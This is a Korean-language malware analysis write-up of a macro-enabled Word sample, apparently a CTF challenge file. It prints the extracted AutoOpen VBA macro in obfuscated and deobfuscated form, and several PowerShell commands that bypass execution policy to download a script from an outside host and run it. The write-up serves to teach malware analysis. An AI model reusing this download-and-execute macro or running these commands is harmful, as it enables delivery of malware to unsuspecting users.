본문 바로가기

Malware Analysis

FirstSample.vir(가칭) 분석

개요

 

파일 정보

 

파일 이름 : FirstSample.vir (가칭)

파일 유형 : MS Office Word 문서(*.docm)

파일 크기 : 4.02MB (4,219,783 bytes)

파일 해시(MD5) : 비공개

악성 행위 : 파일 다운로드(현재 C2 서버 폐쇄), 파일 실행

 

특징

[*] FirstSample.vir

 

문서 파일을 열면 자동으로 vba로 작성된 악성코드가 실행된다.

vba 코드에 하드코딩되어 있는 주소로 또 다른 poweshell script를 다운로드 받는다.

다운로드 받은 powershell script를 실행시킨다.

 


분석

 

정적 분석

 

Detect It Easy로 확인한 결과, FirstSample.vir는 MS Office Word 문서이다.

 

 

Bandizip을 통해서 파일의 구조와 정보를 분석해본 결과,

vba를 이용한 악성코드임을 확인할 수 있었다.

 

 

OfficeMalScanner 프로그램을 이용하여 vbaProject.bin을 추출하고

vbaProject.bin 파일에서 vba 코드를 추출해냈다.

 

OfficeMalScanner.exe mal.docx info
OfficeMalScanner.exe mal.docx inflate
(vbaProject.bin을 현재 디렉토리로 옮기고)
OfficeMalScanner.exe vbaProject info

 

추출된 코드는 총 2개이며 NewMacros.vbs 파일에서 해당 샘플이 수행하는 실질적인 악성 행위에
대한 정보를 확인할 수 있었다.

 

 

NewMacros.vbs 파일 내용 (원본)

 

Attribute VB_Name = "NewMacros"
Sub Autoopen()
'
' Autoopen ����
'
'
Dim x As String
Dim y As String
x = "cmd /" + "K po" + "weRsheLl.e" + "xE -exeCut" + "ioNpolicY B" + "ypAss -nO" + "proFIlE (" + "New-OBjecT S" + "ystEm.Net.WEbcL" + "iEnt).D" + "ownlOadFiLe('h" + "ttp://macdx.file.org/powershellfunny.ps1','D:\cmd.ps1');cmd /K p" + "owerSHell.Exe -exe" + "cuTioNpolicY by" + "paSs -nopRofilE -fi" + "le D:\cmd.ps1"
Shell x, 3
MsgBox ("bye bye")
y = "MA" + "C" + "DX" + "{0L" + "eDuM" + "p_g" + "00d_" + "g00d}"
End Sub

 

NewMacros.vbs 파일 내용(난독화 해제)

 

추출한 코드의 내용은 상당히 심플하다.

변수 x에 담긴 명령어를 실행시킨다.

그리고 "bye bye"라는 문자열을 메세지 박스로 띄워준다.

 

Attribute VB_Name = "NewMacros"
Sub Autoopen()
Dim x As String
Dim y As String
x="cmd /k powershell.exe -executionpolicy bypass -noprofile (new-object system.net.webclient).downloadfile('http://macdx.file.org/powershellfunny.ps1','d:\\cmd.ps1');cmd /k powershell.exe -executionpolicy bypass -noprofile -file d:\\cmd.ps1"
Shell x, 3
y="MACDX{0LeDuMp_g00d_g00d}"
MsgBox ("bye bye")
End Sub

 

변수 x에 담긴 명령어들의 내용을 조금 자세히 분석해보겠다.

cmd.exe에 /k 옵션을 부가하여 명령어 실행 후, 세션이 닫히지 않도록 만들었다.

powershell script를 실행시키기 위해 -executionpolicy bypass 옵션을 부가했다.

 

첫 번째 명령어에서는 ...

 

downloadfile 함수에 첫 번째 인자로 주어진 주소에서 파일을 다운로드 받는다.

D:\cmd.ps1 경로에 다운로드 받은 파일을 저장한다.

 

두 번째 명령어에서는 ...

 

첫번째 명령어에서 다운로드 받은 파일을 실행한다.

 

cmd /k powershell.exe -executionpolicy bypass -noprofile (new-object system.net.webclient).downloadfile('http://macdx.file.org/powershellfunny.ps1','d:\\cmd.ps1');
cmd /k powershell.exe -executionpolicy bypass -noprofile -file d:\\cmd.ps1

 

동적 분석

 

정적 분석 과정에서 얻은 정보를 바탕으로 동적 분석을 진행하겠다.

해당 샘플은 powershell script를 다운로드 받아서 실행한다.

명령어를 조금만 수정하여 원하는 경로에 powershell script를 받도록 만들었다.

 

cmd /k powershell.exe -executionpolicy bypass -noprofile (new-object system.net.webclient).downloadfile('http://macdx.file.org/powershellfunny.ps1','c:\Users\forgotten\Desktop\cmd.ps1');

 

파일을 다운로드 받는데 실패했다.

C2 서버가 폐쇄된 것 같다.

 

 

샘플의 확장자를 vir에서 docm으로 변경한 후, 직접적으로 파일을 실행해봤다.

정적 분석에서 얻은 정보와 동일하게 명령어를 실행하고 Bye Bye라는 메세지 박스를 띄워준다.

(해당 악성코드 분석 환경에서는 하드디스크(D)를 추가해주지 않았다.)

(그래서 powershell script 실행 도중 에러가 발생한 것이다.)

 

 

any.run 사이트에서 파일 해시를 검색해본 결과, 해당 샘플이 업로드 및 분석됐던 기록이 확인했다.

악성코드가 어떤 활동을 했는지 정보를 살펴보면

정적 분석 과정에서 얻은 정보대로 2개의 명령어가 실행되었던 기록을 확인할 수 있다.

 

 

도메인 등록 정보를 확인하기 위해 WHOIS 사이트에 방문했다.

C2 서버가 폐쇄됐는지 조회를 해도 정보를 얻을 수 없었다.

 

 

실질적인 악성 행위를 할 것으로 추정되는 powershell script 파일을 구할 방법이 없으므로 분석을 마무리했다.

 


결론

 

해당 샘플은 powershell script를 추가적으로 다운로드 받고 실행시키는 악성 행위를 한다.

악성코드라고 생각하기엔 코드의 길이도 짧고 스크립트를 다운받는 경로도 일반적이지 않다.

 

심지어 y="MACDX{0LeDuMp_g00d_g00d}"라는 코드를 살펴보면

악성코드가 아닌 CTF 대회에서 사용됐던 문제 파일이 아닐까 이런 이런 생각도 할 수 있다.

 

"확실히 해당 샘플은 악성코드이다."라고 판단하기 위해서

후속으로 다운로드 받는 powershell script의 내용을 분석해볼 필요가 있다.

 

하지만 C2 서버가 폐쇄되어 powershell script를 구할 방도가 없으므로

결론에 코드의 내용을 기반으로 한 추측만을 남기고 악성코드 분석을 마무리하겠다.